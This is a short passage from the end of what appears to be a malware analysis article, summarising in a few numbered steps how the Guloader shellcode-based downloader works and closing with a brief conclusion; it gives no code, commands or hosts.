2) After the VB part ends, the entire malware activity is executed by a shellcode.

3) The shellcode contains multiple anti-analysis mechanisms, some of them are inescapable without manual
intervention.

4) The shellcode creates the process RegAsm and injects a second shellcode into it with a unique variation of the
Process Hollowing injection.

5) The second shellcode downloads further malware
The Guloader mechanism is depicted in the following diagram:

Press enter or click to view image in full size
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Guloader architecture
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Conclusion

In this article, I covered the entire process of the Guloader malware and presented several anti-analysis

mechanisms from this shellcode-based downloader.

During this step-by-step observation, we saw how this malware's unique characteristic challenges security

researches, and also how untraditional is Guloader in the current cybercrime landscape.
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